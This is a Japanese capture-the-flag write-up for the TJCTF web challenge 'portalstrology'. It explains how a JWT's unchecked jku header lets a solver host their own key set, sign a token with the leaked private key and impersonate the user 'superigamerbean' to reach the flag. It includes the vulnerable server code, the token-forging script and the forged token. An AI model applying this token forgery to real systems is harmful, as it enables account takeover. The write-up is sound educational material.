Skip to content

Latest commit

 

History

History

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 
 
 
 
 
 
 
 
 

README.md

portalstrology:web:361pts

I applied to DNU this year, and the admission results are coming out on May 17! But I really want to know my decision now though. I heard that other colleges had problems with accidentally leaking college decisions, you think DNU did the same?
Unfortunately, I forgot my password too, so you gotta figure that out as well. My username is superigamerbean.
dnu-financial-aid.tjc.tf

Downloads
server.zip

Solution

サイトとソースが渡される。
May 17, 5 PM EDTに情報公開があるらしいがCTFが終わっている。
DNU Financial Aid Center
site.png
ひとまず登録し、ログインすると申請していないといわれる。
finaid.png
おそらく問題文に書かれているsuperigamerbeanでログインし、公開されていない未来の情報を読み取る必要がありそうだ。
ソースは以下のようであった。

~~~
function generate_token(req, res, next) {
    const username = req.body.username
    const privatekey = fs.readFileSync(`${__dirname}/private/private.key`, 'utf8')
    const token = jwt.sign(
        {
            username,
        },
        privatekey,
        {
            algorithm: 'RS256',
            expiresIn: "2h",
            header: {
                alg: 'RS256',
                jku: process.env.ENV === "development" ? 'http://localhost:3000/jwks.json' : 'https://dnu-financial-aid.tjc.tf/jwks.json',
                kid: '1',
            }
        }
    )
    res.cookie("jwt", token)
    next()
}

function check_logged_in(req, res, next) {
    try {
        const token = req.cookies.jwt
        const decoded = jwt.verify(token, SECRET)
        res.redirect('/finaid')
    }
    catch {
        next()
    }
}

async function check_token(req, res, next) {
    try {
        const token = req.cookies.jwt

        const { header } = jwt.decode(token, { complete: true })
        const { kid } = header
        const jwksURI = header.jku

        await axios.get(jwksURI).then(function (response) {
            const signedKey = response.data
            const keySet = jwk.JWKSet.fromObject(signedKey)
            const key = keySet.findKeyById(kid).key.toPublicKeyPEM()

            const decoded = jwt.verify(token, key, { algorithms: ['RS256'] })

            res.locals.username = decoded.username
            res.locals.iat = decoded.iat
            next()
        })
    }
    catch {
        res.redirect('/logout')
    }
}
~~~
app.get('/finaid', [check_token, check_user_applied], (req, res) => {
    if (res.locals.iat >= 1652821200) {
        res.render('finaid', { flag: `${FLAG}`, username: res.locals.username, applied: res.locals.applied })
    }
    else {
        res.render('finaid', { flag: undefined, username: res.locals.username, applied: res.locals.applied })
    }
})
~~~

iat1652821200以上であればflagが得られるようだ。
パスワードを予測したログインなどはできるわけもなく、iatの条件も満たせないので、jwtの改竄を目指すこととする。
ソースにprivate.keyが含まれているため、こちらを利用しjwtを改竄しようとするが失敗する。
問題サーバのものと異なると予測し、サーバのjwksとローカルのjwksを比較してみる。

$ curl https://dnu-financial-aid.tjc.tf/jwks.json
{
    "keys": [
        {
            "kty": "RSA",
            "n": "0m3czq66wDL6nUxIVKrS2jq6YCP8c4bcnB4HKIYDrheD2wDN7cU0MBwXWMXZkbJTlmyLjbRTEsaRzpIag-pqI_dfaV_EON_j3F6WCGkGJYqu-In5cPvQpk-zQbRIDVB1VDRq0J4jtgyW-wx6-crlUhFibqN772qAKC0S6rPX6bD_2zxjRxxgcugxiJKOnPt8MRSWH-e7oWZkhhwI6drqHEN04DyiHzhDXpn4CvBkWnWCyxNMw2nNRdzkemhBXZQXs7unMuJv242uIl2E0zu5hE0FJvPH111GbFlVN1h2r7QcgKvmTA0WC5sz-b7YSdAb9O6X6gwtAe_1aFr9cGXl0w",
            "e": "AQAB",
            "alg": "RS256",
            "kid": "1",
            "use": "sig"
        }
    ]
}
$ curl http://localhost:3000/jwks.json
{
    "keys": [
        {
            "kid": "1",
            "kty": "RSA",
            "e": "AQAB",
            "use": "sig",
            "alg": "RS256",
            "n": "i30G3xbJG_4e61yFwteP7A7uqLeS08eSwbqnCQgGEb0yr0qElOzrukB21JjjWeEf5dJeDMEy5-fVYgIMTpcaxOf9sumlkpLP-izwjRqcerui76DzFl0vimSGkwZzgTQzV7u1pRkpOxisakarjnVxX0483X7jIS1P2JaQYSfyAaNCJkbeheviMqll65OUOZf-r2CqwfGDxGMZlO4iB0PSkJnAtyn0WGj-Z5aO5t3QWAB7Z3pbJ7oA-KPMqV_x1xX9Bb3sKs-8rjuMuTgDwAY84xOaiJQ5tv7i7RsnztKi1NjleQRxflZPww7A5go5icLn2ls2D44TPT8KugdpAOk7aQ"
        }
    ]
}

やはり異なるようだ。
これでは改竄できないと思いながらjwtを見ていると以下のようになっていた。
jwt.png
"jku": "https://dnu-financial-aid.tjc.tf/jwks.json"との指定がなされている。
ソースより、サーバ側でこちらのチェックをしているようだが何の制限もないことがわかる。
つまりこのjkuをローカルのjwksをホスティングしたものに変え、ソースとして配布されたprivate.keyで署名すると正規のjwtとして成り立つ。
あとはusernameiatを改竄してやればよい。
まずはBeeceptorでローカルと同じjwksをホスティングする。

$ curl https://satoki.free.beeceptor.com/jwks.json
{
    "keys": [
        {
            "kid": "1",
            "kty": "RSA",
            "e": "AQAB",
            "use": "sig",
            "alg": "RS256",
            "n": "i30G3xbJG_4e61yFwteP7A7uqLeS08eSwbqnCQgGEb0yr0qElOzrukB21JjjWeEf5dJeDMEy5-fVYgIMTpcaxOf9sumlkpLP-izwjRqcerui76DzFl0vimSGkwZzgTQzV7u1pRkpOxisakarjnVxX0483X7jIS1P2JaQYSfyAaNCJkbeheviMqll65OUOZf-r2CqwfGDxGMZlO4iB0PSkJnAtyn0WGj-Z5aO5t3QWAB7Z3pbJ7oA-KPMqV_x1xX9Bb3sKs-8rjuMuTgDwAY84xOaiJQ5tv7i7RsnztKi1NjleQRxflZPww7A5go5icLn2ls2D44TPT8KugdpAOk7aQ"
        }
    ]
}

次に以下のsato_jwt.jsにてjwtを生成する。
_private.keyは作成してもよい(言うまでもないがjkuを変更する必要がある)。
今回は面倒なのですべて配布されたソースのものを使う。

const fs = require("fs")
const jwt = require("jsonwebtoken")

const username = "superigamerbean";
const iat = 1652821200;
const privatekey = fs.readFileSync(`_private.key`, 'utf8')
const token = jwt.sign(
    {
        username,
        iat,
    },
    privatekey,
    {
        algorithm: 'RS256',
        expiresIn: "2h",
        header: {
            alg: 'RS256',
            jku: 'https://satoki.free.beeceptor.com/jwks.json',
            kid: '1',
        }
    }
);

console.log(token);

実行する。

$ node sato_jwt.js
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6IjEiLCJqa3UiOiJodHRwczovL3NhdG9raS5mcmVlLmJlZWNlcHRvci5jb20vandrcy5qc29uIn0.eyJ1c2VybmFtZSI6InN1cGVyaWdhbWVyYmVhbiIsImlhdCI6MTY1MjgyMTIwMCwiZXhwIjoxNjUyODI4NDAwfQ.VtvQQIvgJ5diSVAIfB52MMOYmTCEGygGPd4ichabdXSAlusReTLslzE7Ye4kaOdSz45tQpW8ry1kPBvzZlVu-haPSV3LXv6zvZwcAr7KwV4SnwTiqgWrbndj82iMLduO4vCa5D8nZYUfkvWOmi_upmr_exOm9HiJSsOUSYLqMyR9jmZCsduuRfz_MPlBCLbATZucZz7w22RspISdDF5RfP4XQI0r63-fAhu0jmeFgk8hmRU_WxdO_iVjnwmWCV80-kJTyM6zsIEdyGMkJJXDp7atplQiKa5WmKEGQNi-qHxZhozAMM2PrcUg109gUQngwLPrw7Y3pEwIZm8VDFeOMg

あとはjwtをcookieに設定してやればよい。
/finaidにアクセスする。
flag
flag.png
ログインに成功し、flagが書かれていた。

tjctf{c01l3ges_plz_st0p_th3_l34k5}